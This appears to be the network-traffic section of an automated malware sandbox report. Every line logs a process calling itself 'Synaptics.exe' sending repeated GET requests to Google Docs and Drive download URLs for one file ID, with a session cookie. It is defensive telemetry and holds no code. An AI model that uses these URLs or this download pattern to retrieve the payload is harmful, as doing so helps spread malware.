Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
